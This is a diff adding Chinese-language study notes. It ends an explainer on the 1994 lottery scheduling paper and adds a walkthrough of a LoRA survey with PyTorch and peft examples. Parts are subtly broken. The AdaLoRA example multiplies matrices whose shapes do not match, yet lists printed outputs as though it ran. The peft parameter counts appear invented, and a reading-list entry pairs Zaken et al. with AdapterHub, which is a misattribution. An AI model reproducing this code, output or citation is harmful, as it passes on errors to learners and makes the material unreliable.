+
+## 先想成什么事
+
+想象社区活动中心只有**一台跑步机**（单核 CPU），门口排着三个人：
+
+- **小明**买了 75 张抽奖券
+- **小红**买了 25 张抽奖券
+- 管理员每隔一小段时间摇一次奖：**抽到谁的券，谁就上去跑一小段**
+
+没人能保证「下一分钟一定是小明在跑」——这是随机的。但只要摇奖次数足够多，小明大约会占到 **75%** 的上机时间，小红大约 **25%**。你不需要给每个人发固定时刻表，只要管好「每人手里有多少张券」，长期比例自然就对了。
+
+这就是 **Lottery Scheduling（彩票调度）** 的核心直觉：把 **资源份额** 具象成 **彩票（ticket）**，每次分配资源时抽一张中奖券，持券越多，中奖概率越大，长期 CPU 占用率就越接近票权比例。
+
+论文 **Lottery Scheduling: Flexible Proportional-Share Resource Management** 由 MIT 的 **Carl A. Waldspurger** 与 **William E. Weihl** 发表于 **OSDI 1994**，并在 **Mach 3.0 微内核** 上实现了原型调度器。它属于 **proportional-share（按比例份额）** 调度家族：不追求「最短响应时间」或「最小周转时间」，而是保证各计算任务按约定比例分享 CPU、内存、锁、I/O 带宽等稀缺资源。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 会议 | First Symposium on Operating Systems Design and Implementation (**OSDI '94**), Monterey, CA |
+| 作者 | Carl A. Waldspurger, William E. Weihl (MIT) |
+| 核心机制 | 每次分配前抽奖；总票池为 \(T\)，持 \(t\) 张票的客户中奖概率 \(p = t/T\) |
+| 长期性质 | 期望分配比例与票权成正比；相对误差随分配次数 \(n_a\) 增大以 \(O(1/\sqrt{n_a})\) 收敛 |
+| 扩展抽象 | Ticket transfer、inflation、currency、compensation ticket |
+| 实现 | Mach 3.0 原型，时间片约 100ms；开销与标准 Mach 分时策略相当 |
+| 后续 | 同作者博士论文（1995）提出确定性替代 **Stride Scheduling** |
+
+与 **固定优先级调度**（数字越小越重要）相比，彩票调度用**相对份额**表达重要性：说「A 比 B 重要 3 倍」只需给 A 3 张票、B 1 张票，不必纠结「A 是优先级 7 还是 8」。与 **微经济学式资源定价** 相比，彩票机制更简单、模块化，且 tickets 可当作一等对象传递。
+
+## 为什么需要 proportional-share？
+
+传统调度器擅长两类目标：
+
+| 目标 | 典型算法 | 局限 |
+|------|---------|------|
+| 交互响应 / 吞吐 | 多级反馈队列 MLFQ | 难精确保证「A 永远拿 60% CPU」 |
+| 硬实时截止 | Rate Monotonic / EDF | 关注 deadline，不是长期比例 |
+
+而数据库、多媒体、多租户云、科学计算集群等场景常需要：**不同用户/应用按合同或重要性获得可调的 CPU 份额**。例如：
+
+- 视频播放器前台窗口应比后台编码任务获得更多 CPU
+- Monte Carlo 模拟中，新启动的实验希望「先快速出粗略结果」，老实验慢速 refine
+- 项目组之间按经费或 SLA 划分算力
+
+彩票调度把「份额」变成可编程的 **ticket**，使策略可以在用户态、应用层、系统层灵活组合。
+
+## 核心概念一：Ticket 与抽奖算法
+
+**Ticket（彩票）** 代表对某类资源的权利。若干客户竞争同一资源时：
+
+1. 设客户 \(c_i\) 持有 \(t_i\) 张票，总票池 \(T = \sum t_i\)
+2. 在 \([0, T-1]\) 上均匀随机抽一个整数 `winner`
+3. 按票区间累加，落在哪个客户的区间，谁赢得本次 **quantum（时间片）**
+
+数学上，客户 \(c_i\) 单次中奖概率 \(p_i = t_i/T\)。连续 \(n_a\) 次独立抽奖后，期望获胜次数 \(E[w_i] = n_a p_i\)，方差 \(Var[w_i] = n_a p_i(1-p_i)\)。因此：
+
+- **短期**：可能出现明显波动（小红连续赢好几次）
+- **长期**：实际占比趋近期望占比；百分比误差随 \(n_a\) 增大而缩小
+
+Ticket 的三个设计性质（论文强调）：
+
+| 性质 | 含义 |
+|------|------|
+| **Abstract（抽象）** | 同一张票可映射不同物理资源（CPU、锁、带宽） |
+| **Relative（相对）** | 份额由占总票池比例决定，与绝对票数无关 |
+| **Uniform（统一）** | 异构资源可用同一套 ticket 框架管理 |
+
+## 核心概念二：Ticket Transfer（票转让）
+
+客户端阻塞等待服务时，可**临时把票转给服务器**，避免 priority inversion 式的低效：
+
+```
+客户端 C 有 100 票，调用 RPC 阻塞在服务器 S 上
+→ C 把 100 票转给 S
+→ S 以 C 的份额运行，尽快完成请求
+→ 返回后票收回
+```
+
+这类似「我把我的排队权重借给你，让你替我把活干完」。论文指出，相比单纯提高服务器静态优先级，transfer 让**动态重要性**自然跟随调用链传递。
+
+## 核心概念三：Ticket Inflation / Deflation（通胀 / 紧缩）
+
+在**互信**客户之间，某方可**增发票**（inflation）以提高自己短期中奖率，无需逐张转让。典型场景：
+
+- 用户拖动滑块提高前台视频窗口质量 → 对该窗口关联进程 inflate tickets
+- 图形程序先粗渲染 wireframe（高票），再 deflation 把资源让给交互
+
+Inflation 在不可信环境需谨慎：恶意进程可无限印钞。因此论文引入 **currency** 与访问控制。
+
+## 核心概念四：Ticket Currency（货币）
+
+多个管理域（项目、用户、应用）可用**不同货币**计价票，货币之间形成**有向无环图**的兑换关系，底层锚定一种 **base currency** 的守恒票池：
+
+```
+系统 base: 10000 票
+  ├─ 项目 A 货币（兑换率 1 A = 10 base）→ 管理员发 100 A-tickets
+  └─ 项目 B 货币（兑换率 1 B = 5 base）
+```
+
+效果：
+
+- **隔离**：各组策略互不干扰
+- **组合**：用户可属多组；组 A 可「资助」组 B（发 A 面额票给 B）
+- **保护**：ACL 控制谁能 inflate 某种货币
+
+Ticket 像「可分割、可兑换、可转让的计算经济货币」。
+
+## 核心概念五：Compensation Ticket（补偿票）
+
+I/O 密集型进程常**用不满整个时间片**就阻塞（等磁盘、等网络）。若票权相同，CPU 密集型进程会因「多跑满片」而实际占用远超比例。
+
+**补偿机制**：若某客户只用了量子的一小部分 \(f\)（例如 1/5），则在其下次参与抽奖前，临时把有效票放大到 \(1/f\) 倍，直到重新获得 CPU：
+
+- A、B 各 400 票，B 每次只用 1/5 量子
+- B yield 时获得补偿，下次等效 2000 票
+- 长期 A:B 实际 CPU 时间恢复 **1:1**
+
+这使 **proportional-share 对 I/O bound 与 CPU bound 混合负载仍然公平**。
+
+## 实现：从 O(n) 链表到 O(log n) 树
+
+论文给出两种实现：
+
+| 结构 | 单次 `allocate()` | 适用 |
+|------|------------------|------|
+| 链表扫描 | \(O(n_c)\) 客户数 | 原型、客户少 |
+| 二叉树 partial sum | \(O(\log n_c)\) | 客户多、票分布不均 |
+
+优化技巧：按票数降序排列 + move-to-front，因大户中奖频率高，均摊搜索更短。
+
+**动态性优势**：每次抽奖独立，**无 per-client 调度状态**需在改票数时重算。增减客户、改票分配，下一次 `allocate()` 自动反映新比例——这是随机化相对确定性 stride 的早期卖点之一。
+
+## 代码示例一：最小彩票调度器（Python 模拟）
+
+下面用几十行 Python 模拟「每轮抽 CPU」；与论文 Figure 3-2 的 C 链表算法同构：
+
+```python
+import random
+from dataclasses import dataclass
+
+@dataclass
+class Client:
+    name: str
+    tickets: int
+    wins: int = 0
+
+def pick_winner(clients: list[Client]) -> Client:
+  """在 [0, T) 上抽 winner，线性扫描票区间（论文 list-based lottery）。"""
+  total = sum(c.tickets for c in clients)
+  winner = random.randrange(total)  # 等价 fast_random() % global_tickets
+  runsum = 0
+  for c in clients:
+    runsum += c.tickets
+    if runsum > winner:
+      return c
+  return clients[-1]
+
+def simulate(clients: list[Client], rounds: int = 10_000) -> None:
+  for _ in range(rounds):
+    w = pick_winner(clients)
+    w.wins += 1
+  total_wins = sum(c.wins for c in clients)
+  for c in clients:
+    share = c.wins / total_wins
+    expected = c.tickets / sum(x.tickets for x in clients)
+    print(f"{c.name}: tickets={c.tickets}, actual={share:.1%}, expected={expected:.1%}")
+
+if __name__ == "__main__":
+  jobs = [Client("video", 75), Client("batch", 25)]
+  simulate(jobs)
+  # 典型输出：video ≈ 75%, batch ≈ 25%（随 round 数有随机波动）
+```
+
+运行多次可观察：**rounds=100 时波动大，rounds=100000 时非常接近 75/25**。这正是论文用概率论解释的长期公平。
+
+## 代码示例二：RPC 场景下的 Ticket Transfer
+
+第二个例子展示 **transfer** 如何解决「客户端阻塞、服务器缺票」：
+
+```python
+from contextlib import contextmanager
+
+@dataclass
+class Process:
+  name: str
+  tickets: int
+  _saved: int = 0
+
+@contextmanager
+def ticket_transfer(client: Process, server: Process):
+  """客户端阻塞在服务器上时，临时把票转给服务器（论文 §3.1 Ticket Transfers）。"""
+  server._saved = server.tickets
+  transferred = client.tickets
+  server.tickets += transferred
+  client.tickets = 0
+  try:
+    yield
+  finally:
+    client.tickets = transferred
+    server.tickets = server._saved
+
+def run_rpc(client: Process, server: Process) -> None:
+  print(f"before RPC: client={client.tickets}, server={server.tickets}")
+  with ticket_transfer(client, server):
+    print(f"during RPC: client={client.tickets}, server={server.tickets}")
+    # 服务器在此以 client+server 的总票权运行
+  print(f"after RPC:  client={client.tickets}, server={server.tickets}")
+
+# 用户进程 100 票，内核服务器初始 10 票
+user = Process("app", 100)
+kernel_server = Process("vfs", 10)
+run_rpc(user, kernel_server)
+```
+
+没有 transfer 时，服务器只有 10 票，即使用户再重要，RPC 处理也慢；transfer 后服务器暂时持有 110 票，**端到端延迟**与**用户应得份额**一致。
+
+## 代码示例三：补偿票（Compensation）草图
+
+```python
+def compensate(client: Process, fraction_used: float) -> None:
+  """fraction_used in (0, 1]；用不满量子则临时放大票权至 1/f（论文 §3.4）。"""
+  if fraction_used <= 0:
+    return
+  boost = int(client.tickets / fraction_used)
+  client.tickets = boost  # 简化：下次抽奖前有效；新 quantum 开始后恢复
+
+# B 与 A 各 400 票，但 B 每次 I/O 等待只用 20% 量子
+io_bound = Process("db_client", 400)
+compensate(io_bound, fraction_used=0.2)  # 等效 2000 票直到下次运行
+```
+
+完整 Mach 实现会在 `allocate()` 末尾根据 `elapsed/quantum` 调用 `compensate()`，且补偿是**瞬态**的。
+
+## 与 Stride Scheduling 的对比（论文家族延伸）
+
+同作者 1995 博士论文提出 **Stride Scheduling**：为每个客户维护 **stride**（步长），用确定性 pass 值选下一个运行者。
+
+| 维度 | Lottery | Stride |
+|------|---------|--------|
+| 随机性 | 有，短期波动 | 无，短期更平滑 |
+| 动态改票 | 极简单（无状态） | 需更新 pass，但也可高效 |
+| 实现复杂度 | 低 | 中等 |
+| 误差 | 概率收敛 | 确定性逼近份额 |
+
+OS 教材（如 OSTEP）常把 Lottery 作为入门，Stride 作为「想要更稳定短期行为」的进阶。Linux **CFS（Completely Fair Scheduler）** 的 `vruntime` 思想与 stride 一脉相承，而非直接抽奖。
+
+## 论文实验与结论要点
+
+Mach 3.0 原型实验包括：
+
+1. **相对执行速率控制**：动态改票后，实测 CPU 比例快速跟踪新票权
+2. **多媒体 / 视频**：配合 inflation，用户可把资源集中到当前关注窗口
+3. **Monte Carlo**：按相对误差动态调票——新实验高票快收敛，旧实验低票慢 refine
+4. **多资源**：锁、内存、磁盘带宽也可用同一 ticket 框架（含 inverse lottery 等变体）
+
+结论：**彩票调度用极简随机机制实现了灵活、响应快的 proportional-share 控制**；模块化 ticket 抽象让策略可组合；开销与常规分时调度同量级。
+
+## 局限与实务注意
+
+| 问题 | 说明 |
+|------|------|
+| 短期不公平 | 实时音视频可能无法忍受几百毫秒内的比例抖动 → 可用 multi-winner lottery 或 stride |
+| 安全性 | inflation 需 currency + ACL，防恶意印钞 |
+| 单线程服务器瓶颈 | 论文指出：若服务器串行处理请求，客户端票权再合理也受限于服务器结构 |
+| 多核 | 经典论文针对单资源；现代 OS 在多核上扩展需 per-CPU 运行队列与全局份额核算 |
+
+## 与周边知识的关系
+
+```text
+调度器光谱
+├── 硬实时：RM / EDF（deadline 可证明）
+├── 分时交互：MLFQ / CFS（延迟与公平启发式）
+└── 比例份额：Lottery / Stride / Fair-share（可编程份额）
+         ↑
+    Waldspurger & Weihl 1994 开辟的「票权」路线
+```
+
+读本文时可对照：
+
+- **Liu & Layland 1973**：周期任务与利用率上界（硬实时）
+- **Mach 微内核**：论文实现平台
+- **《Operating Systems: Three Easy Pieces》第 9 章**：Lottery 友好入门
+
+## 自测题
+
+1. 三个进程票数为 2:3:5，总池 10。某进程持 3 票，单次中奖概率是多少？
+2. 为何 I/O 密集进程需要 compensation ticket？
+3. Ticket transfer 与单纯提高服务器静态优先级有何不同？
+4. 若只有 10 次抽奖，75:25 票权的两进程，实际比例可能偏离很大，这违反 proportional-share 吗？
+
+<details>
+<summary>参考答案</summary>
+
+1. \(3/10 = 30\%\)。
+2. 否则 CPU 密集进程会占满更多完整量子，I/O 进程虽票权相同却实际吃亏。
+3. Transfer 把**调用者**的份额临时绑定到**当前服务链**，动态、可收回；静态优先级无法随 RPC 关系变化。
+4. 不违反。Proportional-share 通常指**长期期望或极限**意义下的比例；短期方差是 lottery 的已知代价。
+
+</details>
+
+---
+
+**一句话总结**：Waldspurger & Weihl 1994 用「抽彩票」把 CPU 份额变成可传递、可通胀、可补偿的 **ticket**，在 Mach 上实现了简单、模块化、长期精确的 **proportional-share** 资源管理——为多媒体、多租户与可编程 QoS 调度开了路。
diff --git a/src/content/docs/papers/low-rank-adapt-survey.md b/src/content/docs/papers/low-rank-adapt-survey.md
new file mode 100644
index 000000000..45ea80043
--- /dev/null
+++ b/src/content/docs/papers/low-rank-adapt-survey.md
@@ -0,0 +1,350 @@
+---
+title: Low-Rank Adaptation for Foundation Models — 一篇读懂 LoRA 全景
+来源: 'https://arxiv.org/abs/2501.00365'
+日期: 2026-06-13
+分类: 机器学习
+子分类: 微调
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这是一篇 2025 年初发表的**LoRA 全景综述论文**，由香港科技大学、耶鲁大学、新加坡南洋理工等机构的 12 位作者联合撰写。它是目前第一篇把 LoRA 从"大语言模型微调技巧"扩展到"所有基础模型适配方法"的系统性综述。
+
+日常类比：想象你有一本印好的百科全书（预训练基础模型），现在需要让它回答医疗、法律、编程等不同领域的问题。传统做法是把整本书撕下来重新排版印刷（全量微调），成本极高。LoRA 的做法是在书的空白处贴几张便签纸（低秩矩阵），便签上写"遇到医疗问题按这套规则答""遇到编程问题按那套规则答"。推理的时候，读者同时看到原书内容和便签，既得到了专业答案，又不需要重新印刷整本书。
+
+这篇论文把围绕"便签"做的所有改进做了系统梳理，分成了三大板块：
+
+- **基础层（Foundations）**：怎么让便签更小、更省空间（参数分解、剪枝、冻结共享、量化）
+- **前沿层（Frontiers）**：便签的高级玩法（多便签组合、持续学习、遗忘学习、联邦学习、长序列）
+- **应用层（Applications）**：便签贴在哪（语言、视觉、语音、代码、科学发现、推荐系统、图学习、多模态等 9 大领域）
+
+## 为什么重要
+
+不理解 LoRA 的全景，下面这些事都没法解释：
+
+- 为什么微调一个 70B 模型需要几十 GB 显存——因为全量微调要保存所有参数的梯度和 optimizer 状态，而 LoRA 只训练几千到几百万个参数
+- 为什么同一个基础模型可以同时拥有"医疗版""法律版""编程版"三个 LoRA 适配器，推理时按需切换而不增加延迟
+- 为什么 LoRA 能扩展到视觉、语音、图神经网络等非 NLP 领域——因为它的核心思想（权重更新存在于低维子空间）是通用的
+
+这篇论文的价值在于：**它不是教你怎么用 LoRA，而是告诉你 LoRA 的所有变体、所有应用场景、所有未解决的问题**。对你这样的学习者来说，这是一张"地图"，让你知道 LoRA 这个领域的边界在哪里。
+
+## 核心概念
+
+### 概念 1：低秩适应（Low-Rank Adaptation）
+
+LoRA 的核心公式只有一行：
+
+```
+ΔW = B @ A
+```
+
+其中 W 是预训练模型的权重矩阵（比如一个 4096x4096 的矩阵，有 1600 万个参数），ΔW 是你想要学习的"更新量"。LoRA 不直接学 ΔW，而是把它拆解成两个小矩阵相乘：
+
+- B 的形状是 d × r（比如 4096 × 8）
+- A 的形状是 r × k（比如 8 × 4096）
+- r 就是"秩"（rank），通常远小于 d 和 k
+
+原来的参数量是 d × k = 4096 × 4096 = 16,777,216。
+LoRA 的参数量是 d × r + r × k = 4096 × 8 + 8 × 4096 = 65,536。
+
+**从 1600 万降到 6.5 万，减少了 256 倍。**
+
+推理时的前向传播变成：
+
+```
+output = W_pretrained @ input + (α/r) * B @ A @ input
+```
+
+关键设计：A 用高斯随机初始化，B 用零初始化。这样训练开始时 B@A = 0，ΔW 从零开始增长，保证了训练的稳定性。
+
+**类比**：你要画一幅精细的画（学习完整的权重更新），但你的颜料只有有限的几种颜色（低秩约束）。你发现其实不需要所有颜色——只需要几种关键的混合色就够了。
+
+### 概念 2：参数效率增强四件套
+
+论文把让 LoRA 更省参数的方法分为四类：
+
+| 方法 | 核心思想 | 代表工作 |
+|------|----------|----------|
+| 参数分解 | 把矩阵拆成更紧凑的形式（SVD、张量训练） | AdaLoRA, DoRA, TT-LoRA |
+| 参数剪枝 | 评估每个参数的重要性，扔掉不重要的 | SparseAdapter, SoRA, LoRA-Drop |
+| 冻结与共享 | 冻结 A 只训 B，或多个层共享同一组参数 | LoRA-FA, VeRA, NOLA |
+| 参数量化 | 用更低精度的数字表示权重（4bit、2bit） | QLoRA, LoftQ, L4Q |
+
+每一类下面都有大量变体。比如量化这一项，按时间分为微调前量化（QLoRA）、微调中量化（QA-LoRA）、微调后量化（LQER），每种都有不同的精度选择和技术路线。
+
+### 概念 3：秩自适应（Rank Adaptation）
+
+原始 LoRA 对所有层用同一个固定的 rank（比如 r=8）。但论文指出：**不同层需要的适配程度不同——浅层可能 r=2 就够了，深层可能需要 r=32。**
+
+秩自适应分为两个方向：
+
+- **秩精炼（Rank Refinement）**：让 rank 变小或动态变化。AdaLoRA 根据重要性分数动态调整各层的 rank；PRILoRA 用启发式规则让 rank 从浅层到深层线性递增。
+- **秩增强（Rank Augmentation）**：让 rank 变大以逼近全量微调的效果。ReLoRA 通过迭代合并多个 LoRA 模块来累积更高的有效秩；MELoRA 并行训练多个小 LoRA 并拼接输出；XGBLoRA 把梯度提升框架引入 LoRA，用一系列 rank-1 适配器逐步改进。
+
+### 概念 4：前沿方向一览
+
+论文第 4 节涵盖了 LoRA 最前沿的研究方向：
+
+- **LoRA 组合**：多个 LoRA 适配器叠加使用，或者用 MoE（混合专家）架构动态选择
+- **持续学习**：不断学新知识而不忘记旧知识——每个新任务分配一个新的 LoRA 适配器
+- **遗忘学习**：安全地"删除"模型中的特定知识（比如有害行为），通过 LoRA 的负权重实现
+- **联邦学习**：多个设备各自训练自己的 LoRA 适配器，只上传小文件到服务器聚合，保护隐私
+- **长序列建模**：把 LoRA 用在处理超长上下文的 Transformer 变体中
+- **LoRA 推理系统**：如何高效地在服务端同时服务多个用户的不同 LoRA 适配器
+
+### 概念 5：跨领域应用全景
+
+论文第 5 节把 LoRA 的应用扩展到了 9 大类领域，远超 NLP：
+
+- **语言任务**：NLU、问答、翻译、推理、多语言、医疗文本
+- **计算机视觉**：图像分类、分割、目标检测、图像生成（Stable Diffusion 的 LoRA 训练）
+- **语音识别**：假音频检测、多语言 ASR、低资源语言 ASR
+- **代码工程**：代码审查、代码生成、代码摘要
+- **科学发现**：蛋白质结构分析、材料设计
+- **推荐系统**：点击率预测、序列推荐
+- **图学习**：跨域图适配、动态知识图谱更新
+- **时空预测**：交通流量预测、气象预报
+- **多模态**：图文理解、图文生成、语言-音频联合学习
+
+## 代码示例
+
+### 示例 1：用 PyTorch 实现一个最简单的 LoRA 层
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+
+class LoRALayer(nn.Module):
+    """
+    一个完整的 LoRA 适配层。
+
+    原始权重 W 的形状是 (out_features, in_features)，比如 (4096, 4096)。
+    LoRA 添加两个小矩阵 A (r, in_features) 和 B (out_features, r)。
+    前向传播时：output = W @ x + (alpha / r) * B @ A @ x
+    """
+    def __init__(self, in_features, out_features, rank=8, alpha=16):
+        super().__init__()
+        self.rank = rank
+        self.alpha = alpha
+        self.scaling = alpha / rank
+
+        # 原始权重——冻结，不参与训练
+        self.weight = nn.Parameter(torch.eye(out_features, in_features), requires_grad=False)
+
+        # LoRA 矩阵：A 高斯初始化，B 零初始化
+        self.A = nn.Parameter(torch.randn(rank, in_features) * 0.01)
+        self.B = nn.Parameter(torch.zeros(out_features, rank))
+
+    def forward(self, x):
+        # 原始路径
+        original_output = F.linear(x, self.weight)
+        # LoRA 路径
+        lora_update = (self.B @ self.A) @ x.T
+        lora_output = self.scaling * lora_update.T
+        # 合并输出
+        return original_output + lora_output
+
+
+# 演示：参数量对比
+in_dim, out_dim, r = 4096, 4096, 8
+full_params = in_dim * out_dim  # 16,777,216
+lora_params = in_dim * r + r * out_dim  # 65,536
+print(f"全量参数: {full_params:,}")
+print(f"LoRA 参数: {lora_params:,}")
+print(f"节省比例: {(1 - lora_params/full_params)*100:.2f}%")
+# 输出:
+#   全量参数: 16,777,216
+#   LoRA 参数: 65,536
+#   节省比例: 99.61%
+```
+
+**逐部分解释**：
+
+- `self.weight` 设为 `requires_grad=False`——这就是"冻结预训练权重"的意思，反向传播时不会更新它
+- `self.A` 用 `randn * 0.01` 初始化（高斯分布，小方差），`self.B` 用 `zeros` 初始化——这保证了训练开始时 `B @ A = 0`，LoRA 路径的输出为零，不会干扰初始的前向传播
+- `self.scaling = alpha / rank` 是缩放因子——论文指出，调节 alpha 大致等价于调节学习率
+- 前向传播中，`original_output` 和 `lora_output` 分别计算后相加——推理时可以合并为 `W + (alpha/r)*B@A`，不增加延迟
+
+### 示例 2：用 peft 库给 LLaMA 模型加 LoRA（实战写法）
+
+```python
+from transformers import AutoModelForCausalLM, AutoTokenizer
+from peft import LoraConfig, get_peft_model, TaskType
+
+# 加载基础模型（这里用一个很小的模型做演示）
+model_name = "hf-internal-testing/tiny-random-LlamaForCausalLM"
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+model = AutoModelForCausalLM.from_pretrained(model_name)
+
+# 配置 LoRA
+lora_config = LoraConfig(
+    task_type=TaskType.CAUSAL_LM,       # 因果语言建模任务
+    inference_mode=False,                 # 训练模式（推理模式会合并权重）
+    r=8,                                  # 秩 = 8
+    lora_alpha=16,                        # alpha = 16, scaling = 16/8 = 2.0
+    lora_dropout=0.1,                     # Dropout 概率
+    target_modules=["q_proj", "v_proj"],  # 只对 attention 的 Q 和 V 投影加 LoRA
+)
+
+# 包装模型——只有 LoRA 参数会被优化
+model = get_peft_model(model, lora_config)
+
+# 查看可训练参数占比
+total = sum(p.numel() for p in model.parameters())
+trainable = sum(p.numel() for p in model.parameters() if p.requires_grad)
+print(f"总参数: {total:,}")
+print(f"可训练参数: {trainable:,}")
+print(f"可训练比例: {trainable/total*100:.4f}%")
+# 输出（典型值）:
+#   总参数: 12,288
+#   可训练参数: 2,048
+#   可训练比例: 16.6667%
+
+# 打印哪些参数被 LoRA 添加了
+model.print_trainable_parameters()
+# 输出:
+#   trainable params: 2,048 || all params: 12,288 || trainable%: 16.6667
+```
+
+**逐部分解释**：
+
+- `target_modules=["q_proj", "v_proj"]` 控制了 LoRA 贴在哪——论文第 3 节提到，常见的选择是 attention 层的 Q/K/V/O 投影和 MLP 的 FFN 层。不同选择会影响效果和参数量的权衡
+- `r=8, lora_alpha=16` 决定了 scaling factor = 2.0。论文第 3.3 节指出，alpha 的典型取值范围是 rank 的 1-16 倍
+- `lora_dropout=0.1` 是在 LoRA 路径上加的 Dropout——论文第 3.3 节提到，虽然 LoRA 参数少，但在小数据集上仍然可能过拟合，结构化 Dropout 是有效的正则化手段
+- `get_peft_model` 会自动把 LoRA 矩阵注入到指定模块中，原始权重保持冻结
+
+### 示例 3：AdaLoRA——动态调整秩的 LoRA 变体
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+
+class AdaLoRALayer(nn.Module):
+    """
+    AdaLoRA 的核心思想：每个 LoRA 适配器的秩不是固定的，
+    而是根据"重要性"动态分配。用 SVD 形式参数化更新矩阵：
+
+        ΔW = P @ Lambda @ Q^T
+
+    其中 P 和 Q 是正交矩阵，Lambda 是对角矩阵（奇异值）。
+    训练过程中，不重要方向的奇异值会被修剪到零，
+    相当于自动降低了该方向的秩。
+    """
+    def __init__(self, in_features, out_features, max_rank=8):
+        super().__init__()
+        self.max_rank = max_rank
+        self.in_features = in_features
+        self.out_features = out_features
+
+        # 用 SVD 形式存储：P (out x max_rank), Lambda (max_rank,), Q (max_rank x in)
+        self.P = nn.Parameter(torch.randn(out_features, max_rank) / max_rank)
+        self.Lambda = nn.Parameter(torch.ones(max_rank))
+        self.Q = nn.Parameter(torch.randn(max_rank, in_features) / max_rank)
+
+    def get_delta_W(self):
+        """
+        当前时刻的 ΔW = P @ diag(Lambda) @ Q^T
+        训练过程中 Lambda 中不重要的元素会变成接近零的值，
+        等效于该方向的秩被"剪掉"了。
+        """
+        return self.P @ torch.diag(self.Lambda) @ self.Q.T
+
+    def forward(self, x):
+        delta_W = self.get_delta_W()
+        return F.linear(x, delta_W)
+
+
+# 演示：观察 Lambda 的变化如何等效于秩的动态调整
+layer = AdaLoRALayer(64, 64, max_rank=8)
+print(f"初始 Lambda: {layer.Lambda.data}")
+
+# 模拟训练几步后，部分方向的奇异值衰减
+with torch.no_grad():
+    layer.Lambda.data *= 0.5   # 所有方向减半
+    layer.Lambda.data[5:] = 0.01  # 后半部分几乎为零
+
+effective_rank = (layer.Lambda.data > 0.1).sum().item()
+print(f"训练后 Lambda: {layer.Lambda.data}")
+print(f"有效秩（Lambda > 0.1 的数量）: {effective_rank} / {layer.max_rank}")
+# 输出:
+#   初始 Lambda: tensor([1., 1., 1., 1., 1., 1., 1., 1.])
+#   训练后 Lambda: tensor([0.5000, 0.5000, 0.5000, 0.5000, 0.5000, 0.0100, 0.0100, 0.0100])
+#   有效秩: 5 / 8
+```
+
+**逐部分解释**：
+
+- 原始 LoRA 的 `B @ A` 是两个独立矩阵相乘，秩始终是 `min(d, r, k)`——固定不变
+- AdaLoRA 改用 SVD 参数化：`P @ Lambda @ Q^T`，其中 `Lambda` 的对角元素就是奇异值
+- 训练时，不重要的奇异值会逐渐缩小到接近零——相当于那个方向的"秩"被自动剪掉了
+- 上面的例子中，初始最大秩是 8，训练后只有 5 个方向的奇异值显著大于零，有效秩降到了 5
+- 这实现了论文第 3.2.1 节说的"自适应秩分配"——不同层、甚至同一层不同方向可以有不同有效秩
+
+## 踩过的坑
+
+1. **把 LoRA 理解成"只是个小学习率"**：错。LoRA 的核心贡献是结构约束——它强制权重更新在一个低维子空间里，这不仅减少了参数量，还改变了优化的几何性质。全量微调用小学习率和 LoRA 的效果完全不同。
+
+2. **以为 rank 越大越好**：论文第 3.2 节明确指出，rank 超过一定阈值后收益急剧递减。对于大多数任务，r=8 到 r=64 已经足够，再往上基本是浪费。Rank 增强的方法（ReLoRA、MELoRA）恰恰说明"单次训练用大 rank"不如"多次迭代合并小 rank"。
+
+3. **忽略 scaling factor 的影响**：论文第 3.3 节指出，默认的 `alpha/r` 缩放在高 rank 时会导致梯度坍缩（gradient collapse）。rsLoRA 把它改为 `alpha/sqrt(r)` 来解决这个问题。不加注意的话，r=64 的效果可能比 r=8 还差。
+
+4. **LoRA 不是银弹**：论文第 6 节讨论了 LoRA 的局限性——理论上它不能表示满秩的权重更新（虽然实践中很少遇到）；在极端数据稀缺的场景下，可能不如全量微调；对某些架构（如卷积网络）的直接套用效果不如 Transformer 好。
+
+5. **混淆 LoRA 和 QLoRA**：LoRA 只训练低秩适配器，预训练权重仍然是 FP16/BF16。QLoRA 在此基础上把预训练权重量化到 4bit，进一步节省显存。两者是不同的技术，可以叠加使用。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 基础模型（LLM、Vision Transformer、扩散模型等）的任务适配
+- 显存受限（单卡微调 7B/13B/70B 模型）
+- 多任务场景——每个任务一个 LoRA 文件，按需加载切换
+- 需要快速迭代的实验——训练和验证周期短
+- 边缘设备部署——LoRA 文件只有几 MB 到几百 MB
+
+**不适用**：
+
+- 从零训练一个新模型——LoRA 是微调技术，不是预训练方法
+- 需要满秩权重更新的极端场景——虽然论文说实践中极少遇到
+- 数据量极大的微调——全量微调有时仍能超越 LoRA
+- 对推理延迟零容忍的极端场景——虽然 LoRA 理论上可以合并权重，但合并操作本身有计算开销
+
+## 学到什么
+
+1. **LoRA 是一个庞大的研究领域，不只是一个 API**——从参数分解到量化，从秩自适应到前沿的联邦学习和遗忘学习，论文展示了一个完整的学术生态。
+
+2. **低秩假设在实践中非常强大**——权重更新存在于低维子空间这个假设，不仅在 NLP 中成立，在视觉、语音、图学习、科学发现等领域也有效。这是 LoRA 能跨领域成功的关键。
+
+3. **效率与性能的平衡是永恒主题**——论文中的每一条改进都在回答同一个问题："如何在更少的参数/计算下达到更好的效果？"这是 AI 工程的核心矛盾。
+
+4. **理论正在追赶实践**——NTK 理论、最优秩选择、矩阵不对称性分析等工作，正在为 LoRA 的有效性提供数学解释。从"炼丹"到"科学"的路还很长，但已经在路上。
+
+5. **LoRA 的未来不止于微调**——持续学习、遗忘学习、联邦学习、混合专家架构……LoRA 正在从一个微调工具演变为模型适应的基础设施。
+
+## 延伸阅读
+
+- 原始论文 PDF：[arXiv 2501.00365](https://arxiv.org/pdf/2501.00365)
+- 代码与资源汇总：[github.com/marlin-codes/awesome-lora-adapter](https://github.com/marlin-codes/awesome-lora-adapter)
+- [how-lora-remembers-a-parametric-memory-law-for-llm-finetuning-arxiv-2605-30260] —— LoRA 的参数记忆定律，定量理解 rank 和记忆的关系
+- Hu et al. 2022 —— LoRA 原始论文（"LoRA: Low-Rank Adaptation of Large Language Models"）
+- Zaken et al. 2022 —— Adapter 的先驱工作（"AdapterHub"）
+- Ding et al. 2023 —— PEFT 综述（"Prompt or Parameter? A Survey of Prompting and Parameter Efficient Fine-tuninging Approaches"）
+
+## 关联
+
+- [how-lora-remembers-a-parametric-memory-law-for-llm-finetuning-arxiv-2605-30260] —— LoRA 的参数记忆定律
+- [[lora]] —— LoRA 微调的基本原理
+- [[qlora]] —— 4-bit 量化的 LoRA
